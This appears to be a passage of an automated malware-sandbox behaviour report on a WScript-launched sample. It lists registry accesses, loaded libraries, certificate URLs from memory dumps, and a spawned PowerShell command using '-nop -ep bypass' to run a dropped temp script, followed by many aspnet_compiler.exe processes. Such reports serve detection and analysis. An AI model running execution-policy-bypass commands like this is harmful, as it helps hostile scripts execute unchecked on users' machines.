(Path: "HKCU\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\SHELLFOLDER") "WScript.exe" touched "Network" (Path: "HKCU\CLSID\{208D2C60-3AEA-1069-A2D7-08002B30309D}\SHELLFOLDER") "WScript.exe" touched "Recycle Bin" (Path: "HKCU\CLSID\{645FF040-5081-101B-9F08-00AA002F954E}\SHELLFOLDER") "WScript.exe" touched "Control Panel" (Path: "HKCU\CLSID\{26EE0668-A00A-44D7-9371-BEB064C98683}\SHELLFOLDER") "WScript.exe" touched "UsersFiles" (Path: "HKCU\CLSID\{59031A47-3F72-44A7-89C5-5595FE6B30EE}\SHELLFOLDER") "WScript.exe" touched "UsersLibraries" (Path: "HKCU\CLSID\{031E4825-7B94-4DC3-B131-E946B44C8DD5}\SHELLFOLDER") "WScript.exe" touched "CLSID_SearchFolder" (Path: "HKCU\CLSID\{04731B67-D933-450A-90E6-4ACD2E9408FE}\SHELLFOLDER") "WScript.exe" touched "Microsoft OneNote Namespace Extension for Windows Desktop Search" (Path: "HKCU\CLSID\{0875DCB6-C686-4243-9432-ADCCF0B9F2D7}\SHELLFOLDER") "WScript.exe" touched "IE History and Feeds Shell Data Source for Windows Search" (Path: "HKCU\CLSID\{11016101-E366-4D22-BC06-4ADA335C892B}\SHELLFOLDER") "WScript.exe" touched "@C:\Program Files (x86)\Microsoft Office\Office15\MAPISHELL.DLL,-110" (Path: "HKCU\CLSID\{138508BC-1E03-49EA-9C8F-EA9E1D05D65D}\SHELLFOLDER") "WScript.exe" touched "Public Folder" (Path: "HKCU\CLSID\{4336A54D-038B-4685-AB02-99BB52D3FB8B}\SHELLFOLDER") "WScript.exe" touched "Control Panel command object for Start menu and desktop" (Path: "HKCU\CLSID\{5399E694-6CE5-4D6C-8FCE-1D8870FDCBA0}\SHELLFOLDER") "WScript.exe" touched "This Device" (Path: "HKCU\CLSID\{5B934B42-522B-4C34-BBFE-37A3EF7B9C90}\SHELLFOLDER") "WScript.exe" touched "CLSID_AppInstanceFolder" (Path: "HKCU\CLSID\{64693913-1C21-4F30-A98F-4E52906D3B56}\SHELLFOLDER") "WScript.exe" touched "@%systemroot%\system32\mssvp.dll,-110" (Path: "HKCU\CLSID\{89D83576-6BD1-4C86-9454-BEB04E94C819}\SHELLFOLDER") "WScript.exe" touched "DXP" (Path: "HKCU\CLSID\{8FD8B88D-30E1-4F25-AC2B-553D3D65F0EA}\SHELLFOLDER") "WScript.exe" touched "CLSID_SearchHome" (Path: "HKCU\CLSID\{9343812E-1C37-4A49-A12E-4B2D810D956B}\SHELLFOLDER") "WScript.exe" touched "CLSID_StartMenuLauncherProviderFolder" (Path: "HKCU\CLSID\{98F275B4-4FFF-11E0-89E2-7B86DFD72085}\SHELLFOLDER") "WScript.exe" touched "CLSID_StartMenuCommandingProviderFolder" (Path: "HKCU\CLSID\{A00EE528-EBD9-48B8-944A-8942113D46AC}\SHELLFOLDER") "WScript.exe" touched "Other Users Folder" (Path: "HKCU\CLSID\{B4FB3F98-C1EA-428D-A78A-D1F5659CBA93}\SHELLFOLDER") "WScript.exe" touched "@%systemroot%\system32\mssvp.dll,-112" (Path: "HKCU\CLSID\{BD7A2E7B-21CB-41B2-A086-B309680C6B7E}\SHELLFOLDER") "WScript.exe" touched "CLSID_StartMenuProviderFolder" (Path: "HKCU\CLSID\{DAF95313-E44D-46AF-BE1B-CBACEA2C3065}\SHELLFOLDER") "WScript.exe" touched "CLSID_StartMenuPathCompleteProviderFolder" (Path: "HKCU\CLSID\{E345F35F-9397-435C-8F95-4E922C26259E}\SHELLFOLDER") "WScript.exe" touched "StreamBackedFolder" (Path: "HKCU\CLSID\{EDC978D6-4D53-4B2F-A265-5805674BE568}\SHELLFOLDER") "WScript.exe" touched "Computers and Devices" (Path: "HKCU\CLSID\{F02C1A0D-BE21-4350-88B0-7367FC96EF3C}\SHELLFOLDER") "WScript.exe" touched "Removable Drives" (Path: "HKCU\CLSID\{F5FB2C77-0E2F-4A16-A381-3E560C68BC83}\SHELLFOLDER") "WScript.exe" touched "Memory Mapped Cache Mgr" (Path: "HKCU\CLSID\{1F486A52-3CB1-48FD-8F50-B8DC300D9F9D}\TREATAS") "WScript.exe" touched "Property System Both Class Factory" (Path: "HKCU\CLSID\{76765B11-3F95-4AF2-AC9D-EA55D8994F1A}\TREATAS") "WScript.exe" touched "Security Manager" (Path: "HKCU\CLSID\{7B8A2D94-0AC9-11D1-896C-00C04FB6BFC4}\TREATAS") "WScript.exe" touched "ShellItemArray Shell Namespace helper" (Path: "HKCU\CLSID\{CDC82860-468D-4D4E-B7E7-C298FF23AB2C}\TREATAS") "WScript.exe" touched "Start Menu Cache" (Path: "HKCU\CLSID\{660B90C8-73A9-4B58-8CAE-355B7F55341B}\TREATAS") "WScript.exe" touched "ShellItem Shell Namespace helper" (Path: "HKCU\CLSID\{9AC9FBE1-E0A2-4AD6-B4EE-E212013EA917}\TREATAS")4b:Tfc3,Observed system executable string:"%WINDIR%\system32\advapi32.dll" [Source: 00000000-00005240-00000C2B-614155832] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoreei.dll" [Source: 00000000-00006896-00000C2B-617680814] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\clr.dll" [Source: 00000000-00006896-00000C2B-618159331] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoree.dll" [Source: 00000000-00006896-00000C2B-618254345] Observed system executable string:"%WINDIR%\system32\combase.dll" [Source: 00000000-00006896-00000C2B-618345176] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_64\mscorlib\6078762b90671c2ff9ba39318e2176d8\mscorlib.ni.dll" [Source: 00000000-00006896-00000C2B-618596789] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\ole32.dll" [Source: 00000000-00006896-00000C2B-618631569] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll" [Source: 00000000-00006896-00000C2B-618679207] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll" [Source: 00000000-00006896-00000C2B-618743583] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\clrjit.dll" [Source: 00000000-00006896-00000C2B-618866195] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\OLEAUT32.dll" [Source: 00000000-00006896-00000C2B-618889716] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_64\System\fe3c9cf707273488c6c658d52d624640\System.ni.dll" [Source: 00000000-00006896-00000C2B-618980238] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Core\21ff4ba4607b18a9b179ab90fd3b0bc1\System.Core.ni.dll" [Source: 00000000-00006896-00000C2B-619164201] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\combase.dll" [Source: 00000000-00006896-00000C2B-619194028] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-string-l1-1-0.dll" [Source: 00000000-00006896-00000C2B-619306245] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll" [Source: 00000000-00006896-00000C2B-619486114] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\psapi.dll" [Source: 00000000-00006896-00000C2B-619566536] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ntdll.dll" [Source: 00000000-00006896-00000C2B-619999198] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wintrust.dll" [Source: 00000000-00006896-00000C2B-620014728] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\en-US\mscorrc.dll" [Source: 00000000-00006896-00000C2B-620646021] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Xml\76ff225c5a523f0be2364b0fc02bf7f9\System.Xml.ni.dll" [Source: 00000000-00006896-00000C2B-620655203] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\en\mscorrc.dll" [Source: 00000000-00006896-00000C2B-620681247] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll" [Source: 00000000-00006896-00000C2B-620758318] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\amsi.dll" [Source: 00000000-00006896-00000C2B-620842196] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\crypt32.dll" [Source: 00000000-00006896-00000C2B-620934153]4c:T67b,Spawned process "powershell.exe" with commandline "-nop -ep bypass -file "C:\\Temp\\VBBT5YNK.ps1"" (UID: 00000000-00006896) Spawned process "aspnet_compiler.exe" (UID: 00000000-00008764) Spawned process "aspnet_compiler.exe" (UID: 00000000-00006900) Spawned process "aspnet_compiler.exe" (UID: 00000000-00003588) Spawned process "aspnet_compiler.exe" (UID: 00000000-00008428) Spawned process "aspnet_compiler.exe" (UID: 00000000-00003400) Spawned process "aspnet_compiler.exe" (UID: 00000000-00007660) Spawned process "aspnet_compiler.exe" (UID: 00000000-00003508) Spawned process "aspnet_compiler.exe" (UID: 00000000-00001636) Spawned process "aspnet_compiler.exe" (UID: 00000000-00006380) Spawned process "aspnet_compiler.exe" (UID: 00000000-00007316) Spawned process "aspnet_compiler.exe" (UID: 00000000-00005052) Spawned process "aspnet_compiler.exe" (UID: 00000000-00003836) Spawned process "aspnet_compiler.exe" (UID: 00000000-00004752) Spawned process "aspnet_compiler.exe" (UID: 00000000-00007568) Spawned process "aspnet_compiler.exe" (UID: 00000000-00009032) Spawned process "aspnet_compiler.exe" (UID: 00000000-00007392) Spawned process "aspnet_compiler.exe" (UID: 00000000-00007828) Spawned process "aspnet_compiler.exe" (UID: 00000000-00006276) Spawned process "aspnet_compiler.exe" (UID: 00000000-00009204) Spawned process "aspnet_compiler.exe" (UID: 00000000-00001372) Spawned process "aspnet_compiler.exe" (UID: 00000000-00008656) Spawned process "aspnet_compiler.exe" (UID: 00000000-00008796) Spawned process "aspnet_compiler.exe" (UID: 00000000-00003056) Spawned process "aspnet_compiler.exe" (UID: 00000000-00006516)4d:T67b,Spawned process "powershell.exe" with commandline "-nop -ep bypass -file "C:\\Temp\\VBBT5YNK.ps1"" (UID: 00000000-00006896) Spawned process "aspnet_compiler.exe" (UID: 00000000-00008764) Spawned process "aspnet_compiler.exe" (UID: 00000000-00006900) Spawned process "aspnet_compiler.exe" (UID: 00000000-00003588) Spawned process "aspnet_compiler.exe" (UID: 00000000-00008428) Spawned process "aspnet_compiler.exe" (UID: 00000000-00003400) Spawned process "aspnet_compiler.exe" (UID: 00000000-00007660) Spawned process "aspnet_compiler.exe" (UID: 00000000-00003508) Spawned process "aspnet_compiler.exe" (UID: 00000000-00001636) Spawned process "aspnet_compiler.exe" (UID: 00000000-00006380) Spawned process "aspnet_compiler.exe" (UID: 00000000-00007316) Spawned process "aspnet_compiler.exe" (UID: 00000000-00005052) Spawned process "aspnet_compiler.exe" (UID: 00000000-00003836) Spawned process "aspnet_compiler.exe" (UID: 00000000-00004752) Spawned process "aspnet_compiler.exe" (UID: 00000000-00007568) Spawned process "aspnet_compiler.exe" (UID: 00000000-00009032) Spawned process "aspnet_compiler.exe" (UID: 00000000-00007392) Spawned process "aspnet_compiler.exe" (UID: 00000000-00007828) Spawned process "aspnet_compiler.exe" (UID: 00000000-00006276) Spawned process "aspnet_compiler.exe" (UID: 00000000-00009204) Spawned process "aspnet_compiler.exe" (UID: 00000000-00001372) Spawned process "aspnet_compiler.exe" (UID: 00000000-00008656) Spawned process "aspnet_compiler.exe" (UID: 00000000-00008796) Spawned process "aspnet_compiler.exe" (UID: 00000000-00003056) Spawned process "aspnet_compiler.exe" (UID: 00000000-00006516)4e:Tbad,"WScript.exe" monitors "HKLM\SOFTWARE\Microsoft\Ole" (Filter: 268435457; Subtree: 0) "WScript.exe" monitors "\REGISTRY\USER\S-1-5-21-735145574-3570218355-1207367261-1001_Classes\Local Settings\Software\Microsoft" (Filter: 268435457; Subtree: 1) "WScript.exe" monitors "\REGISTRY\USER\S-1-5-21-735145574-3570218355-1207367261-1001_Classes" (Filter: 268435461; Subtree: 1) "WScript.exe" monitors "HKLM\SYSTEM\ControlSet001\Services\crypt32" (Filter: 268435460; Subtree: 0) "WScript.exe" monitors "HKLM\SYSTEM\ControlSet001\Control\NetworkProvider\HwOrder" (Filter: 4; Subtree: 0) "WScript.exe" monitors "HKLM\SYSTEM\ControlSet001\Control\NetworkProvider\ProviderOrder" (Filter: 4; Subtree: 0) "WScript.exe" monitors "HKLM\SYSTEM\ControlSet001\Services\WinSock2\Parameters\Protocol_Catalog9" (Filter: 1; Subtree: 0) "WScript.exe" monitors "HKLM\SYSTEM\ControlSet001\Services\WinSock2\Parameters\NameSpace_Catalog5" (Filter: 1; Subtree: 0) "WScript.exe" monitors "HKLM\SOFTWARE\Policies\Microsoft\Windows\TenantRestrictions\Payload" (Filter: 268435460; Subtree: 1) "WScript.exe" monitors "\REGISTRY\USER\S-1-5-21-735145574-3570218355-1207367261-1001\SOFTWARE\Microsoft\SystemCertificates\Root" (Filter: 268435461; Subtree: 1) "WScript.exe" monitors "HKLM\SOFTWARE\Microsoft\SystemCertificates\ROOT" (Filter: 268435461; Subtree: 1) "WScript.exe" monitors "HKLM\SOFTWARE\Microsoft\SystemCertificates\AuthRoot" (Filter: 268435461; Subtree: 1) "WScript.exe" monitors "HKLM\SOFTWARE\Policies\Microsoft\SystemCertificates" (Filter: 268435461; Subtree: 1) "WScript.exe" monitors "HKLM\SOFTWARE\Microsoft\EnterpriseCertificates\Root" (Filter: 268435461; Subtree: 1) "WScript.exe" monitors "HKLM\SOFTWARE\Microsoft\SystemCertificates\SmartCardRoot" (Filter: 268435461; Subtree: 1) "WScript.exe" monitors "HKLM\SOFTWARE\Microsoft\SystemCertificates\FlightRoot" (Filter: 268435461; Subtree: 1) "WScript.exe" monitors "HKLM\SOFTWARE\Microsoft\SystemCertificates\TestSignRoot" (Filter: 268435461; Subtree: 1) "WScript.exe" monitors "\REGISTRY\USER\S-1-5-21-735145574-3570218355-1207367261-1001\SOFTWARE\Microsoft\SystemCertificates\SmartCardRoot" (Filter: 268435461; Subtree: 1) "WScript.exe" monitors "\REGISTRY\USER\S-1-5-21-735145574-3570218355-1207367261-1001\SOFTWARE\Microsoft\SystemCertificates\trust" (Filter: 268435461; Subtree: 1) "WScript.exe" monitors "\REGISTRY\USER\S-1-5-21-735145574-3570218355-1207367261-1001\SOFTWARE\Policies\Microsoft\SystemCertificates" (Filter: 268435461; Subtree: 1) "WScript.exe" monitors "HKLM\SOFTWARE\Microsoft\SystemCertificates\trust" (Filter: 268435461; Subtree: 1) "WScript.exe" monitors "HKLM\SOFTWARE\Microsoft\EnterpriseCertificates\Trust" (Filter: 268435461; Subtree: 1) "WScript.exe" monitors "\REGISTRY\USER\S-1-5-21-735145574-3570218355-1207367261-1001\SOFTWARE\Microsoft\SystemCertificates\CA" (Filter: 268435461; Subtree: 1) "WScript.exe" monitors "HKLM\SOFTWARE\Microsoft\SystemCertificates\CA" (Filter: 268435461; Subtree: 1)4f:T68b,"WScript.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK\PARAMETERS"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\WINSOCK"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP6\PARAMETERS\WINSOCK"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK\SETUP MIGRATION\PROVIDERS"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK\SETUP MIGRATION\PROVIDERS\TCPIP6"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\INTERNET EXPLORER\SECURITY"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\MICROSOFT\INTERNET EXPLORER\SECURITY"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONES\3"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONES\3"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\IDENTITYCRL"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\IDENTITYSTORE\LOADPARAMETERS\{B16898C6-A148-4967-9171-64D755DA8520}"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\AAD\PACKAGE"; Key: ""; Value: "")50:T9f9,"WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS"; Key: "DISABLESOCKPOLLCONNFAILURERETURN"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK\PARAMETERS"; Key: "TRANSPORTS"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\WINSOCK"; Key: "MAPPING"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP6\PARAMETERS\WINSOCK"; Key: "MAPPING"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK\SETUP MIGRATION\PROVIDERS\TCPIP6"; Key: "WINSOCK 2.0 PROVIDER ID"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP6\PARAMETERS\WINSOCK"; Key: "MINSOCKADDRLENGTH"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP6\PARAMETERS\WINSOCK"; Key: "MAXSOCKADDRLENGTH"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP6\PARAMETERS\WINSOCK"; Key: "USEDELAYEDACCEPTANCE"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\INTERNET EXPLORER\SECURITY"; Key: "DISABLESECURITYSETTINGSCHECK"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONES\3"; Key: "1A10"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONES\3"; Key: "1A10"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\IDENTITYCRL"; Key: "LOGINURL"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\IDENTITYSTORE\LOADPARAMETERS\{B16898C6-A148-4967-9171-64D755DA8520}"; Key: "LOGINURI"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\IDENTITYSTORE\LOADPARAMETERS\{B16898C6-A148-4967-9171-64D755DA8520}"; Key: "ENTERPRISEAUTHORITYURI"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK\SETUP MIGRATION\PROVIDERS\TCPIP"; Key: "WINSOCK 2.0 PROVIDER ID"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\WINSOCK"; Key: "MINSOCKADDRLENGTH"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\WINSOCK"; Key: "MAXSOCKADDRLENGTH"; Value: "")51:T557,"powershell.exe" trying to access non-existent file "C:\Windows\System32\WindowsPowerShell\v1.0\ATL.DLL" "powershell.exe" trying to access non-existent file "C:\Windows\System32\WindowsPowerShell\v1.0\mscoree.dll" "powershell.exe" trying to access non-existent file "C:\Windows\System32\WindowsPowerShell\v1.0\FLTLIB.DLL" "powershell.exe" trying to access non-existent file "C:\Windows\System32\WindowsPowerShell\v1.0\MSVCP140.dll" "powershell.exe" trying to access non-existent file "C:\Windows\System32\WindowsPowerShell\v1.0\VCRUNTIME140.dll" "powershell.exe" trying to access non-existent file "C:\Windows\System32\WindowsPowerShell\v1.0\VCRUNTIME140_1.dll" "powershell.exe" trying to access non-existent file "C:\Windows\System32\WindowsPowerShell\v1.0\CRYPTSP.DLL" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v2.0.50727\clr.dll" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\VCRUNTIME140_CLR0400.dll" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ucrtbase_clr0400.dll" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscoree.dll" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ole32.dll"52:Ta83,"WScript.exe" trying to access non-existent file "C:\Windows\System32\AppLocker\MDM" "WScript.exe" trying to access non-existent file "C:\Temp" "WScript.exe" trying to access non-existent file "C:\Temp\" "WScript.exe" trying to access non-existent file "\Device\RasAcd" "WScript.exe" trying to access non-existent file "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe:Zone.Identifier" "powershell.exe" trying to access non-existent file "C:\Windows\System32\mscoree.dll.local" "powershell.exe" trying to access non-existent file "C:\WINDOWS\SYSTEM32\mscoree.dll.local" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\fusion.localgac" "powershell.exe" trying to access non-existent file "C:\Windows\assembly\GAC\PublisherPolicy.tme" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.ConsoleHost\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.ConsoleHost.INI" "powershell.exe" trying to access non-existent file "C:\WINDOWS\Microsoft.Net\assembly\GAC_MSIL\Microsoft.PowerShell.ConsoleHost\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.ConsoleHost.INI" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.INI" "powershell.exe" trying to access non-existent file "C:\WINDOWS\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.INI" "powershell.exe" trying to access non-existent file "C:\Windows\System32\AppLocker\MDM" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.Management.Infrastructure\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.INI" "powershell.exe" trying to access non-existent file "C:\WINDOWS\Microsoft.Net\assembly\GAC_MSIL\Microsoft.Management.Infrastructure\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.INI" "powershell.exe" trying to access non-existent file "C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Numerics" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Numerics\v4.0_4.0.0.0__b77a5c561934e089\System.Numerics.INI" "powershell.exe" trying to access non-existent file "C:\WINDOWS\Microsoft.Net\assembly\GAC_MSIL\System.Numerics\v4.0_4.0.0.0__b77a5c561934e089\System.Numerics.INI" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll.config"53:T816b,Found URL "http://certs.godaddy.com/repository/1301*go" - Source: "00000000-00006896.00000000.134622.ECA50000.00000004.mdmp") Found URL "http://ocsp.godaddy.com/05.0,0*$http://crl.godaddy.com/gdroot-g2.crl0f?0=0;0301%https://certs.godaddy.com/repository/0jcs1" - Source: "00000000-00006896.00000000.134622.ECA50000.00000004.mdmp") Found URL "http://crl.comodoca.com/comodorsacertificationauthority.crl0qe0c0;/http://crt.comodoca.com/comodorsaaddtrustca.crt0$http://ocsp.comodoca.com0n+vok4" - Source: "00000000-00006896.00000000.134622.EEFD3000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut2011_2011_03_22.crl0^r0p0nbhttp://www.microsoft.com/pki/certs/microoceraut2011_2011_03_22.crt0-%3_j=sm" - Source: "00000000-00006896.00000000.134622.EEFD3000.00000004.mdmp") Found URL "http://crl.comodoca.com/comodorsacertificationauthority.crl0qe0c0;/http://crt.comodoca.com/comodorsaaddtrustca.crt0$http://ocsp.comodoca.com0z" - Source: "00000000-00006896.00000000.134622.EEFD3000.00000004.mdmp") Found URL "http://crl.usertrust.com/usertrustrsacertificationauthority.crl0vj0h0?3http://crt.usertrust.com/usertrustrsaaddtrustca.crt0%http://ocsp.usertrust.com0e:5%6$" - Source: "00000000-00006896.00000000.134622.EEFD3000.00000004.mdmp") Found URL "http://ocsp.thawte.com0:080660(0&https://www.thawte.com/cps0700.0,&http://crl.thawte.com/thawtepca-g3.crl0verisignmpki-2-4150w!$?e;" - Source: "00000000-00006896.00000000.134622.EEFD3000.00000004.mdmp") Found URL "https://www.alphassl.com/repository/03,0*0(" - Source: "00000000-00006896.00000000.134622.EEFD3000.00000004.mdmp") Found URL "http://crl.globalsign.net/root.crl0=10/0-!http://ocsp.globalsign.com/rootr10%cx.g/8" - Source: "00000000-00006896.00000000.134622.EEFD3000.00000004.mdmp") Found URL "http://g1.symcb.com/crls/gtglobal.crl0/" - Source: "00000000-00006896.00000000.134622.EEFD3000.00000004.mdmp") Found URL "http://g2.symcb.com0le0c0a60301%http://www.geotrust.com/resources/cps0)symantecpki-1-53902ol!o!yj>9iqmgvw,czc1.3.6.1.4.1.311.10.1120531151137z0/^g(o-cejy" - Source: "00000000-00006896.00000000.134622.EEFD3000.00000004.mdmp") Found URL "http://crl.usertrust.com/usertrustrsacertificationauthority.crl0vj0h0?3http://crt.usertrust.com/usertrustrsaaddtrustca.crt0%http://ocsp.usertrust.com0.%yg6" - Source: "00000000-00006896.00000000.134622.EEFD3000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl3.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0bt" - Source: "00000000-00006896.00000000.134622.EEFD3000.00000004.mdmp") Found URL "http://g2.symcb.com0le0c0a60301%http://www.geotrust.com/resources/cps0)symantecpki-1-5690xv" - Source: "00000000-00006896.00000000.134622.EEFD3000.00000004.mdmp") Found URL "http://crl.usertrust.com/addtrustexternalcaroot.crl05)0'0%http://ocsp.usertrust.com0ql" - Source: "00000000-00006896.00000000.134622.EEFD3000.00000004.mdmp") Found URL "http://s1.symcb.com/pca3-g5.crl0" - Source: "00000000-00006896.00000000.134622.EEFD3000.00000004.mdmp") Found URL "http://s2.symcb.com0kd0b0" - Source: "00000000-00006896.00000000.134622.EEFD3000.00000004.mdmp") Found URL "http://www.symauth.com/cps0(http://www.symauth.com/rpa0)symantecpki-1-53403130x" - Source: "00000000-00006896.00000000.134622.EEFD3000.00000004.mdmp") Found URL "https://www.verisign.com/cps04*0(0&" - Source: "00000000-00006896.00000000.134622.EEFD3000.00000004.mdmp") Found URL "http://crl.verisign.com/pca3.crl0@sg" - Source: "00000000-00006896.00000000.134622.EEFD3000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htmid]2u'b=" - Source: "00000000-00006896.00000000.134622.EEFD3000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut2011_2011_03_22.crl0^r0p0nbhttp://www.microsoft.com/pki/certs/microoceraut2011_2011_03_22.crt0vs" - Source: "00000000-00006896.00000000.134622.EEFD3000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htm6oov>4http" - Source: "00000000-00006896.00000000.134622.EEFD3000.00000004.mdmp") Found URL 